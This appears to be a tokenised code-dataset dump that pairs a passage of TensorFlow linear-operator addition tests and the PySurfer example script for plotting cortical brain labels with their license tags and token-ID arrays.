self.assertIsInstance(op, linalg_lib.LinearOperatorDiag) self.assertAllClose([[3., 0.], [0., 3.]], op.to_dense().eval()) # Adding positive definite operators produces positive def. self.assertTrue(op.is_positive_definite) # Real diagonal ==> self-adjoint. self.assertTrue(op.is_self_adjoint) # Positive definite ==> non-singular self.assertTrue(op.is_non_singular) # Enforce particular name for this simple case self.assertEqual("Add/B__A/", op.name) def test_three_diag_operators(self): op1 = linalg.LinearOperatorDiag( [1., 1.], is_positive_definite=True, name="op1") op2 = linalg.LinearOperatorDiag( [2., 2.], is_positive_definite=True, name="op2") op3 = linalg.LinearOperatorDiag( [3., 3.], is_positive_definite=True, name="op3") with self.cached_session(): op_sum = add_operators([op1, op2, op3]) self.assertEqual(1, len(op_sum)) op = op_sum[0] self.assertTrue(isinstance(op, linalg_lib.LinearOperatorDiag)) self.assertAllClose([[6., 0.], [0., 6.]], op.to_dense().eval()) # Adding positive definite operators produces positive def. self.assertTrue(op.is_positive_definite) # Real diagonal ==> self-adjoint. self.assertTrue(op.is_self_adjoint) # Positive definite ==> non-singular self.assertTrue(op.is_non_singular) def test_diag_tril_diag(self): op1 = linalg.LinearOperatorDiag( [1., 1.], is_non_singular=True, name="diag_a") op2 = linalg.LinearOperatorLowerTriangular( [[2., 0.], [0., 2.]], is_self_adjoint=True, is_non_singular=True, name="tril") op3 = linalg.LinearOperatorDiag( [3., 3.], is_non_singular=True, name="diag_b") with self.cached_session(): op_sum = add_operators([op1, op2, op3]) self.assertEqual(1, len(op_sum)) op = op_sum[0] self.assertIsInstance(op, linalg_lib.LinearOperatorLowerTriangular) self.assertAllClose([[6., 0.], [0., 6.]], op.to_dense().eval()) # The diag operators will be self-adjoint (because real and diagonal). # The TriL operator has the self-adjoint hint set. self.assertTrue(op.is_self_adjoint) # Even though op1/2/3 are non-singular, this does not imply op is. # Since no custom hint was provided, we default to None (unknown). self.assertEqual(None, op.is_non_singular) def test_matrix_diag_tril_diag_uses_custom_name(self): op0 = linalg.LinearOperatorFullMatrix( [[-1., -1.], [-1., -1.]], name="matrix") op1 = linalg.LinearOperatorDiag([1., 1.], name="diag_a") op2 = linalg.LinearOperatorLowerTriangular( [[2., 0.], [1.5, 2.]], name="tril") op3 = linalg.LinearOperatorDiag([3., 3.], name="diag_b") with self.cached_session(): op_sum = add_operators([op0, op1, op2, op3], operator_name="my_operator") self.assertEqual(1, len(op_sum)) op = op_sum[0] self.assertIsInstance(op, linalg_lib.LinearOperatorFullMatrix) self.assertAllClose([[5., -1.], [0.5, 5.]], op.to_dense().eval()) self.assertEqual("my_operator", op.name) def test_incompatible_domain_dimensions_raises(self): op1 = linalg.LinearOperatorFullMatrix(rng.rand(2, 3)) op2 = linalg.LinearOperatorDiag(rng.rand(2, 4)) with self.assertRaisesRegexp(ValueError, "must.*same domain dimension"): add_operators([op1, op2]) def test_incompatible_range_dimensions_raises(self): op1 = linalg.LinearOperatorFullMatrix(rng.rand(2, 3)) op2 = linalg.LinearOperatorDiag(rng.rand(3, 3)) with self.assertRaisesRegexp(ValueError, "must.*same range dimension"): add_operators([op1, op2]) def test_non_broadcastable_batch_shape_raises(self): op1 = linalg.LinearOperatorFullMatrix(rng.rand(2, 3, 3)) op2 = linalg.LinearOperatorDiag(rng.rand(4, 3, 3)) with self.assertRaisesRegexp(ValueError, "Incompatible shapes"): add_operators([op1, op2]) class LinearOperatorOrderOfAdditionTest(test.TestCase): """Test that the order of addition is done as specified by tiers.""" def test_tier_0_additions_done_in_tier_0(self): diag1 = linalg.LinearOperatorDiag([1.]) diag2 = linalg.LinearOperatorDiag([1.]) diag3 = linalg.LinearOperatorDiag([1.]) addition_tiers = [ [linear_operator_addition._AddAndReturnDiag()], [_BadAdder()], ] # Should not raise since all were added in tier 0, and tier 1 (with the # _BadAdder) was never reached. op_sum = add_operators([diag1, diag2, diag3], addition_tiers=addition_tiers) self.assertEqual(1, len(op_sum)) self.assertIsInstance(op_sum[0], linalg.LinearOperatorDiag) def test_tier_1_additions_done_by_tier_1(self): diag1 = linalg.LinearOperatorDiag([1.]) diag2 = linalg.LinearOperatorDiag([1.]) tril = linalg.LinearOperatorLowerTriangular([[1.]]) addition_tiers = [ [linear_operator_addition._AddAndReturnDiag()], [linear_operator_addition._AddAndReturnTriL()], [_BadAdder()], ] # Should not raise since all were added by tier 1, and the # _BadAdder) was never reached. op_sum = add_operators([diag1, diag2, tril], addition_tiers=addition_tiers) self.assertEqual(1, len(op_sum)) self.assertIsInstance(op_sum[0], linalg.LinearOperatorLowerTriangular) def test_tier_1_additions_done_by_tier_1_with_order_flipped(self): diag1 = linalg.LinearOperatorDiag([1.]) diag2 = linalg.LinearOperatorDiag([1.]) tril = linalg.LinearOperatorLowerTriangular([[1.]]) addition_tiers = [ [linear_operator_addition._AddAndReturnTriL()], [linear_operator_addition._AddAndReturnDiag()], [_BadAdder()], ] # Tier 0 could convert to TriL, and this converted everything to TriL, # including the Diags. # Tier 1 was never used. # Tier 2 was never used (therefore, _BadAdder didn't raise). op_sum = add_operators([diag1, diag2, tril], addition_tiers=addition_tiers) self.assertEqual(1, len(op_sum)) self.assertIsInstance(op_sum[0], linalg.LinearOperatorLowerTriangular) def test_cannot_add_everything_so_return_more_than_one_operator(self): diag1 = linalg.LinearOperatorDiag([1.]) diag2 = linalg.LinearOperatorDiag([2.]) tril5 = linalg.LinearOperatorLowerTriangular([[5.]]) addition_tiers = [ [linear_operator_addition._AddAndReturnDiag()], ] # Tier 0 (the only tier) can only convert to Diag, so it combines the two # diags, but the TriL is unchanged. # Result should contain two operators, one Diag, one TriL. op_sum = add_operators([diag1, diag2, tril5], addition_tiers=addition_tiers) self.assertEqual(2, len(op_sum)) found_diag = False found_tril = False with self.cached_session(): for op in op_sum: if isinstance(op, linalg.LinearOperatorDiag): found_diag = True self.assertAllClose([[3.]], op.to_dense().eval()) if isinstance(op, linalg.LinearOperatorLowerTriangular): found_tril = True self.assertAllClose([[5.]], op.to_dense().eval()) self.assertTrue(found_diag and found_tril) def test_intermediate_tier_is_not_skipped(self): diag1 = linalg.LinearOperatorDiag([1.]) diag2 = linalg.LinearOperatorDiag([1.]) tril = linalg.LinearOperatorLowerTriangular([[1.]]) addition_tiers = [ [linear_operator_addition._AddAndReturnDiag()], [_BadAdder()], [linear_operator_addition._AddAndReturnTriL()], ] # tril cannot be added in tier 0, and the intermediate tier 1 with the # BadAdder will catch it and raise. with self.assertRaisesRegexp(AssertionError, "BadAdder.can_add called"): add_operators([diag1, diag2, tril], addition_tiers=addition_tiers) class AddAndReturnScaledIdentityTest(test.TestCase): def setUp(self): self._adder = linear_operator_addition._AddAndReturnScaledIdentity() def test_identity_plus_identity(self): id1 = linalg.LinearOperatorIdentity(num_rows=2) id2 = linalg.LinearOperatorIdentity(num_rows=2, batch_shape=[3]) hints = linear_operator_addition._Hints( is_positive_definite=True, is_non_singular=True) self.assertTrue(self._adder.can_add(id1, id2)) operator = self._adder.add(id1, id2, "my_operator", hints) self.assertIsInstance(operator, linalg.LinearOperatorScaledIdentity) with self.cached_session(): self.assertAllClose(2 * linalg_ops.eye(num_rows=2, batch_shape=[3]).eval(), operator.to_dense().eval()) self.assertTrue(operator.is_positive_definite) self.assertTrue(operator.is_non_singular) self.assertEqual("my_operator", operator.name) def test_identity_plus_scaled_identity(self): id1 = linalg.LinearOperatorIdentity(num_rows=2, batch_shape=[3]) id2 = linalg.LinearOperatorScaledIdentity(num_rows=2, multiplier=2.2) hints = linear_operator_addition._Hints( is_positive_definite=True, is_non_singular=True) self.assertTrue(self._adder.can_add(id1, id2)) operator = self._adder.add(id1, id2, "my_operator", hints) self.assertIsInstance(operator, linalg.LinearOperatorScaledIdentity) with self.cached_session(): self.assertAllClose(3.2 * linalg_ops.eye(num_rows=2, batch_shape=[3]).eval(), operator.to_dense().eval()) self.assertTrue(operator.is_positive_definite) self.assertTrue(operator.is_non_singular) self.assertEqual("my_operator", operator.name) def test_scaled_identity_plus_scaled_identity(self): id1 = linalg.LinearOperatorScaledIdentity( num_rows=2, multiplier=[2.2, 2.2, 2.2]) id2 = linalg.LinearOperatorScaledIdentity(num_rows=2, multiplier=-1.0) hints = linear_operator_addition._Hints( is_positive_definite=True, is_non_singular=True) self.assertTrue(self._adder.can_add(id1, id2)) operator = self._adder.add(id1, id2, "my_operator", hints) self.assertIsInstance(operator, linalg.LinearOperatorScaledIdentity) with self.cached_session(): self.assertAllClose(1.2 * linalg_ops.eye(num_rows=2, batch_shape=[3]).eval(), operator.to_dense().eval()) self.assertTrue(operator.is_positive_definite) self.assertTrue(operator.is_non_singular) self.assertEqual("my_operator", operator.name) class AddAndReturnDiagTest(test.TestCase): def setUp(self): self._adder = linear_operator_addition._AddAndReturnDiag() def test_identity_plus_identity_returns_diag(self): id1 = linalg.LinearOperatorIdentity(num_rows=2) id2 = linalg.LinearOperatorIdentity(num_rows=2, batch_shape=[3]) hints = linear_operator_addition._Hints( is_positive_definite=True, is_non_singular=True) self.assertTrue(self._adder.can_add(id1, id2)) operator = self._adder.add(id1, id2, "my_operator", hints) self.assertIsInstance(operator, linalg.LinearOperatorDiag) with self.cached_session(): self.assertAllClose(2 * linalg_ops.eye(num_rows=2, batch_shape=[3]).eval(), operator.to_dense().eval()) self.assertTrue(operator.is_positive_definite) self.assertTrue(operator.is_non_singular) self.assertEqual("my_operator", operator.name) def test_diag_plus_diag(self): diag1 = rng.rand(2, 3, 4) diag2 = rng.rand(4) op1 = linalg.LinearOperatorDiag(diag1) op2 = linalg.LinearOperatorDiag(diag2) hints = linear_operator_addition._Hints( is_positive_definite=True, is_non_singular=True) self.assertTrue(self._adder.can_add(op1, op2)) operator = self._adder.add(op1, op2, "my_operator", hints) self.assertIsInstance(operator, linalg.LinearOperatorDiag) with self.cached_session(): self.assertAllClose( linalg.LinearOperatorDiag(diag1 + diag2).to_dense().eval(), operator.to_dense().eval()) self.assertTrue(operator.is_positive_definite) self.assertTrue(operator.is_non_singular) self.assertEqual("my_operator", operator.name) class AddAndReturnTriLTest(test.TestCase): def setUp(self): self._adder = linear_operator_addition._AddAndReturnTriL() def test_diag_plus_tril(self): diag = linalg.LinearOperatorDiag([1., 2.]) tril = linalg.LinearOperatorLowerTriangular([[10., 0.], [30., 0.]]) hints = linear_operator_addition._Hints( is_positive_definite=True, is_non_singular=True) self.assertTrue(self._adder.can_add(diag, diag)) self.assertTrue(self._adder.can_add(diag, tril)) operator = self._adder.add(diag, tril, "my_operator", hints) self.assertIsInstance(operator, linalg.LinearOperatorLowerTriangular) with self.cached_session(): self.assertAllClose([[11., 0.], [30., 2.]], operator.to_dense().eval()) self.assertTrue(operator.is_positive_definite) self.assertTrue(operator.is_non_singular) self.assertEqual("my_operator", operator.name) class AddAndReturnMatrixTest(test.TestCase): def setUp(self): self._adder = linear_operator_addition._AddAndReturnMatrix() def test_diag_plus_diag(self): diag1 = linalg.LinearOperatorDiag([1., 2.]) diag2 = linalg.LinearOperatorDiag([-1., 3.]) hints = linear_operator_addition._Hints( is_positive_definite=False, is_non_singular=False) self.assertTrue(self._adder.can_add(diag1, diag2)) operator = self._adder.add(diag1, diag2, "my_operator", hints) self.assertIsInstance(operator, linalg.LinearOperatorFullMatrix) with self.cached_session(): self.assertAllClose([[0., 0.], [0., 5.]], operator.to_dense().eval()) self.assertFalse(operator.is_positive_definite) self.assertFalse(operator.is_non_singular) self.assertEqual("my_operator", operator.name) if __name__ == "__main__": test.main()
apache-2.0
[ 3, 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2196, 63, 5176, 199, 504, 3228, 14, 1548, 14, 1483, 492, 16727, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 14, 10096, 492, 16727, 465, 16727, 63, 773, 199, 504, 3228, 14, 1548, 14, 1483, 14, 10096, 492, 7798, 63, 3856, 63, 26799, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 199, 10096, 275, 16727, 63, 773, 199, 2355, 63, 5176, 14, 409, 63, 2355, 63, 5176, 8, 1789, 9, 199, 12686, 275, 980, 14, 2355, 14, 15726, 8, 16, 9, 199, 199, 525, 63, 12688, 275, 7798, 63, 3856, 63, 26799, 14, 525, 63, 12688, 421, 199, 3, 4287, 26, 3507, 29, 8618, 13, 2094, 199, 533, 485, 5725, 2767, 424, 8, 6676, 63, 3856, 63, 26799, 423, 2767, 424, 304, 523, 408, 2767, 424, 626, 911, 2449, 340, 1202, 1041, 819, 347, 883, 63, 525, 8, 277, 12, 1687, 17, 12, 1687, 18, 304, 272, 746, 9070, 480, 5725, 2767, 424, 14, 2425, 63, 525, 2797, 9124, 819, 347, 485, 525, 8, 277, 12, 1687, 17, 12, 1687, 18, 12, 4182, 63, 354, 12, 18069, 304, 272, 746, 9070, 480, 2765, 1004, 1077, 440, 506, 13075, 531, 421, 199, 3, 4287, 26, 4756, 29, 8618, 13, 2094, 421, 199, 533, 12489, 7961, 2767, 1671, 19993, 4171, 774, 8, 396, 14, 1746, 304, 523, 408, 2925, 29102, 402, 10234, 543, 15821, 402, 282, 9284, 4431, 7735, 14, 819, 6496, 2348, 787, 4224, 543, 314, 485, 3472, 63, 1554, 31247, 63, 13247, 3960, 12, 1314, 4910, 523, 1050, 63, 12688, 1077, 7114, 1006, 10211, 9183, 315, 1373, 2849, 4182, 14, 819, 961, 13703, 626, 781, 787, 7688, 370, 6657, 13323, 1503, 7735, 1808, 314, 3367, 16179, 523, 2656, 14, 221, 2900, 4431, 7735, 1077, 506, 12470, 18159, 12, 436, 2337, 365, 949, 1929, 370, 511, 523, 4036, 4431, 424, 4453, 642, 1021, 14, 523, 408, 819, 347, 511, 63, 368, 63, 3856, 63, 374, 63, 19065, 63, 16914, 8, 277, 304, 272, 1687, 63, 65, 275, 16727, 14, 26463, 16094, 779, 17, 2020, 413, 14444, 272, 1687, 63, 1838, 275, 1050, 63, 12688, 779, 411, 63, 65, 566, 272, 291, 14, 629, 8, 17, 12, 822, 8, 411, 63, 1838, 430, 272, 291, 14, 3436, 8, 411, 63, 1838, 59, 16, 467, 1687, 63, 65, 9, 819, 347, 511, 63, 292, 63, 11790, 63, 368, 63, 12688, 63, 2427, 8, 277, 304, 272, 543, 291, 14, 10835, 8, 3393, 12, 298, 7790, 1395, 737, 5210, 1373, 2349, 489, 1050, 63, 12688, 4157, 819, 347, 511, 63, 8739, 1337, 63, 475, 63, 525, 63, 10548, 63, 3536, 8, 277, 304, 272, 543, 291, 14, 10835, 8, 4333, 12, 298, 7747, 1454, 12489, 7961, 2349, 489, 1050, 63, 12688, 779, 17, 12, 499, 566, 819, 347, 511, 63, 5601, 63, 6706, 63, 12688, 8, 277, 304, 272, 1687, 63, 65, 275, 16727, 14, 26463, 16094, 8, 267, 359, 17, 2020, 413, 8333, 365, 63, 8965, 63, 23442, 29, 549, 12, 536, 628, 33, 531, 272, 1687, 63, 66, 275, 16727, 14, 26463, 16094, 8, 267, 359, 18, 2020, 499, 8333, 365, 63, 8965, 63, 23442, 29, 549, 12, 536, 628, 34, 531, 272, 543, 291, 14, 5245, 63, 1730, 837, 489, 1687, 63, 1838, 275, 1050, 63, 12688, 779, 411, 63, 65, 12, 1687, 63, 66, 566, 489, 291, 14, 629, 8, 17, 12, 822, 8, 411, 63, 1838, 430, 489, 1687, 275, 1687, 63, 1838, 59, 16, 61, 489, 291, 14, 6926, 8, 411, 12, 16727, 63, 773, 14, 26463, 16094, 9, 489, 291, 14, 7260, 4038, 19, 2020, 378, 8333, 359, 16, 2020, 650, 24245, 1687, 14, 475, 63, 7253, 1252, 2579, 1012, 489, 327, 12934, 7317, 28088, 10211, 16904, 7317, 347, 14, 489, 291, 14, 1815, 8, 411, 14, 374, 63, 8965, 63, 23442, 9, 489, 327, 14849, 16788, 25375, 291, 13, 26055, 14, 489, 291, 14, 1815, 8, 411, 14, 374, 63, 277, 63, 26055, 9, 489, 327, 30245, 28088, 25375, 2222, 13, 17045, 489, 291, 14, 1815, 8, 411, 14, 374, 63, 2865, 63, 17045, 9, 489, 327, 3447, 3990, 6770, 536, 367, 642, 3486, 1930, 489, 291, 14, 629, 480, 1123, 15, 34, 363, 33, 10665, 1687, 14, 354, 9, 819, 347, 511, 63, 10480, 63, 6706, 63, 12688, 8, 277, 304, 272, 1687, 17, 275, 16727, 14, 26463, 16094, 8, 267, 359, 17, 2020, 413, 8333, 365, 63, 8965, 63, 23442, 29, 549, 12, 536, 628, 411, 17, 531, 272, 1687, 18, 275, 16727, 14, 26463, 16094, 8, 267, 359, 18, 2020, 499, 8333, 365, 63, 8965, 63, 23442, 29, 549, 12, 536, 628, 411, 18, 531, 272, 1687, 19, 275, 16727, 14, 26463, 16094, 8, 267, 359, 19, 2020, 650, 8333, 365, 63, 8965, 63, 23442, 29, 549, 12, 536, 628, 411, 19, 531, 272, 543, 291, 14, 5245, 63, 1730, 837, 489, 1687, 63, 1838, 275, 1050, 63, 12688, 779, 411, 17, 12, 1687, 18, 12, 1687, 19, 566, 489, 291, 14, 629, 8, 17, 12, 822, 8, 411, 63, 1838, 430, 489, 1687, 275, 1687, 63, 1838 ]
[ 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2196, 63, 5176, 199, 504, 3228, 14, 1548, 14, 1483, 492, 16727, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 14, 10096, 492, 16727, 465, 16727, 63, 773, 199, 504, 3228, 14, 1548, 14, 1483, 14, 10096, 492, 7798, 63, 3856, 63, 26799, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 199, 10096, 275, 16727, 63, 773, 199, 2355, 63, 5176, 14, 409, 63, 2355, 63, 5176, 8, 1789, 9, 199, 12686, 275, 980, 14, 2355, 14, 15726, 8, 16, 9, 199, 199, 525, 63, 12688, 275, 7798, 63, 3856, 63, 26799, 14, 525, 63, 12688, 421, 199, 3, 4287, 26, 3507, 29, 8618, 13, 2094, 199, 533, 485, 5725, 2767, 424, 8, 6676, 63, 3856, 63, 26799, 423, 2767, 424, 304, 523, 408, 2767, 424, 626, 911, 2449, 340, 1202, 1041, 819, 347, 883, 63, 525, 8, 277, 12, 1687, 17, 12, 1687, 18, 304, 272, 746, 9070, 480, 5725, 2767, 424, 14, 2425, 63, 525, 2797, 9124, 819, 347, 485, 525, 8, 277, 12, 1687, 17, 12, 1687, 18, 12, 4182, 63, 354, 12, 18069, 304, 272, 746, 9070, 480, 2765, 1004, 1077, 440, 506, 13075, 531, 421, 199, 3, 4287, 26, 4756, 29, 8618, 13, 2094, 421, 199, 533, 12489, 7961, 2767, 1671, 19993, 4171, 774, 8, 396, 14, 1746, 304, 523, 408, 2925, 29102, 402, 10234, 543, 15821, 402, 282, 9284, 4431, 7735, 14, 819, 6496, 2348, 787, 4224, 543, 314, 485, 3472, 63, 1554, 31247, 63, 13247, 3960, 12, 1314, 4910, 523, 1050, 63, 12688, 1077, 7114, 1006, 10211, 9183, 315, 1373, 2849, 4182, 14, 819, 961, 13703, 626, 781, 787, 7688, 370, 6657, 13323, 1503, 7735, 1808, 314, 3367, 16179, 523, 2656, 14, 221, 2900, 4431, 7735, 1077, 506, 12470, 18159, 12, 436, 2337, 365, 949, 1929, 370, 511, 523, 4036, 4431, 424, 4453, 642, 1021, 14, 523, 408, 819, 347, 511, 63, 368, 63, 3856, 63, 374, 63, 19065, 63, 16914, 8, 277, 304, 272, 1687, 63, 65, 275, 16727, 14, 26463, 16094, 779, 17, 2020, 413, 14444, 272, 1687, 63, 1838, 275, 1050, 63, 12688, 779, 411, 63, 65, 566, 272, 291, 14, 629, 8, 17, 12, 822, 8, 411, 63, 1838, 430, 272, 291, 14, 3436, 8, 411, 63, 1838, 59, 16, 467, 1687, 63, 65, 9, 819, 347, 511, 63, 292, 63, 11790, 63, 368, 63, 12688, 63, 2427, 8, 277, 304, 272, 543, 291, 14, 10835, 8, 3393, 12, 298, 7790, 1395, 737, 5210, 1373, 2349, 489, 1050, 63, 12688, 4157, 819, 347, 511, 63, 8739, 1337, 63, 475, 63, 525, 63, 10548, 63, 3536, 8, 277, 304, 272, 543, 291, 14, 10835, 8, 4333, 12, 298, 7747, 1454, 12489, 7961, 2349, 489, 1050, 63, 12688, 779, 17, 12, 499, 566, 819, 347, 511, 63, 5601, 63, 6706, 63, 12688, 8, 277, 304, 272, 1687, 63, 65, 275, 16727, 14, 26463, 16094, 8, 267, 359, 17, 2020, 413, 8333, 365, 63, 8965, 63, 23442, 29, 549, 12, 536, 628, 33, 531, 272, 1687, 63, 66, 275, 16727, 14, 26463, 16094, 8, 267, 359, 18, 2020, 499, 8333, 365, 63, 8965, 63, 23442, 29, 549, 12, 536, 628, 34, 531, 272, 543, 291, 14, 5245, 63, 1730, 837, 489, 1687, 63, 1838, 275, 1050, 63, 12688, 779, 411, 63, 65, 12, 1687, 63, 66, 566, 489, 291, 14, 629, 8, 17, 12, 822, 8, 411, 63, 1838, 430, 489, 1687, 275, 1687, 63, 1838, 59, 16, 61, 489, 291, 14, 6926, 8, 411, 12, 16727, 63, 773, 14, 26463, 16094, 9, 489, 291, 14, 7260, 4038, 19, 2020, 378, 8333, 359, 16, 2020, 650, 24245, 1687, 14, 475, 63, 7253, 1252, 2579, 1012, 489, 327, 12934, 7317, 28088, 10211, 16904, 7317, 347, 14, 489, 291, 14, 1815, 8, 411, 14, 374, 63, 8965, 63, 23442, 9, 489, 327, 14849, 16788, 25375, 291, 13, 26055, 14, 489, 291, 14, 1815, 8, 411, 14, 374, 63, 277, 63, 26055, 9, 489, 327, 30245, 28088, 25375, 2222, 13, 17045, 489, 291, 14, 1815, 8, 411, 14, 374, 63, 2865, 63, 17045, 9, 489, 327, 3447, 3990, 6770, 536, 367, 642, 3486, 1930, 489, 291, 14, 629, 480, 1123, 15, 34, 363, 33, 10665, 1687, 14, 354, 9, 819, 347, 511, 63, 10480, 63, 6706, 63, 12688, 8, 277, 304, 272, 1687, 17, 275, 16727, 14, 26463, 16094, 8, 267, 359, 17, 2020, 413, 8333, 365, 63, 8965, 63, 23442, 29, 549, 12, 536, 628, 411, 17, 531, 272, 1687, 18, 275, 16727, 14, 26463, 16094, 8, 267, 359, 18, 2020, 499, 8333, 365, 63, 8965, 63, 23442, 29, 549, 12, 536, 628, 411, 18, 531, 272, 1687, 19, 275, 16727, 14, 26463, 16094, 8, 267, 359, 19, 2020, 650, 8333, 365, 63, 8965, 63, 23442, 29, 549, 12, 536, 628, 411, 19, 531, 272, 543, 291, 14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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
diego0020/PySurfer
examples/plot_label.py
4
1526
""" Display ROI Labels ================== Using PySurfer you can plot Freesurfer cortical labels on the surface with a large amount of control over the visual representation. """ import os from surfer import Brain print(__doc__) subject_id = "fsaverage" hemi = "lh" surf = "smoothwm" brain = Brain(subject_id, hemi, surf) # If the label lives in the normal place in the subjects directory, # you can plot it by just using the name brain.add_label("BA1") # Some labels have an associated scalar value at each ID in the label. # For example, they may be probabilistically defined. You can threshold # what vertices show up in the label using this scalar data brain.add_label("BA1", color="blue", scalar_thresh=.5) # Or you can give a path to a label in an arbitrary location subj_dir = os.environ["SUBJECTS_DIR"] label_file = os.path.join(subj_dir, subject_id, "label", "%s.MT.label" % hemi) brain.add_label(label_file) # By default the label is 'filled-in', but you can # plot just the label boundaries brain.add_label("BA44", borders=True) # You can also control the opacity of the label color brain.add_label("BA6", alpha=.7) # Finally, you can plot the label in any color you want. brain.show_view(dict(azimuth=-42, elevation=105, distance=225, focalpoint=[-30, -20, 15])) # Use any valid matplotlib color. brain.add_label("V1", color="steelblue", alpha=.6) brain.add_label("V2", color="#FF6347", alpha=.6) brain.add_label("entorhinal", color=(.2, 1, .5), alpha=.6)
bsd-3-clause
[ 624, 199, 7687, 9769, 41, 10354, 83, 199, 1280, 389, 199, 199, 10369, 1611, 11762, 2412, 1265, 883, 5137, 481, 5710, 300, 2412, 1970, 3294, 3628, 641, 314, 13195, 199, 1045, 282, 7031, 5982, 402, 3304, 1806, 314, 13104, 6025, 14, 199, 199, 624, 199, 646, 747, 199, 504, 6296, 2412, 492, 699, 6322, 199, 199, 1361, 3460, 1301, 3368, 199, 199, 5875, 63, 344, 275, 298, 70, 2231, 3652, 2, 199, 426, 2664, 275, 298, 25514, 2, 199, 21579, 275, 298, 19169, 16240, 2, 199, 22246, 275, 699, 6322, 8, 5875, 63, 344, 12, 946, 2664, 12, 24802, 9, 199, 199, 3, 982, 314, 1768, 27576, 315, 314, 3293, 4192, 315, 314, 32446, 2082, 12, 199, 3, 1265, 883, 5137, 652, 701, 2951, 1808, 314, 536, 199, 22246, 14, 525, 63, 1302, 480, 4134, 17, 531, 199, 199, 3, 6601, 3628, 1172, 376, 4568, 6917, 574, 737, 1924, 2870, 315, 314, 1768, 14, 199, 3, 2104, 2893, 12, 2985, 1443, 506, 5128, 14677, 513, 7288, 3247, 14, 2047, 883, 8765, 199, 3, 4052, 14971, 2498, 1536, 315, 314, 1768, 1808, 642, 6917, 666, 199, 22246, 14, 525, 63, 1302, 480, 4134, 17, 401, 3164, 628, 6304, 401, 6917, 63, 14898, 15856, 21, 9, 199, 199, 3, 4236, 1265, 883, 8120, 282, 931, 370, 282, 1768, 315, 376, 9697, 2909, 199, 954, 74, 63, 694, 275, 747, 14, 2314, 905, 6348, 5550, 51, 63, 3022, 937, 199, 1302, 63, 493, 275, 747, 14, 515, 14, 904, 8, 954, 74, 63, 694, 12, 5420, 63, 344, 12, 2079, 298, 1302, 401, 2071, 83, 14, 5747, 14, 1302, 2, 450, 946, 2664, 9, 199, 22246, 14, 525, 63, 1302, 8, 1302, 63, 493, 9, 199, 199, 3, 4885, 849, 314, 1768, 365, 283, 17647, 13, 262, 297, 1325, 1265, 883, 199, 3, 5137, 2951, 314, 1768, 18135, 199, 22246, 14, 525, 63, 1302, 480, 4134, 1602, 401, 9162, 83, 29, 549, 9, 199, 199, 3, 2047, 883, 2597, 3304, 314, 31835, 402, 314, 1768, 3164, 199, 22246, 14, 525, 63, 1302, 480, 4134, 22, 401, 5131, 15856, 23, 9, 199, 199, 3, 19177, 12, 1265, 883, 5137, 314, 1768, 315, 1263, 3164, 1265, 2934, 14, 199, 22246, 14, 2384, 63, 1345, 8, 807, 8, 4651, 26720, 4022, 2260, 12, 12993, 4255, 29, 7320, 12, 6033, 29, 10932, 12, 2151, 289, 24560, 1403, 1524, 13, 1216, 12, 446, 1165, 12, 4114, 2459, 199, 199, 3, 3645, 1263, 1686, 8027, 3164, 14, 199, 22246, 14, 525, 63, 1302, 480, 54, 17, 401, 3164, 628, 1597, 352, 6304, 401, 5131, 15856, 22, 9, 199, 22246, 14, 525, 63, 1302, 480, 54, 18, 401, 3164, 13476, 1665, 22, 12532, 401, 5131, 15856, 22, 9, 199, 22246, 14, 525, 63, 1302, 480, 484, 269, 72, 1582, 401, 3164, 2687, 14, 18, 12, 413, 12, 1275, 21, 395, 5131, 15856, 22, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 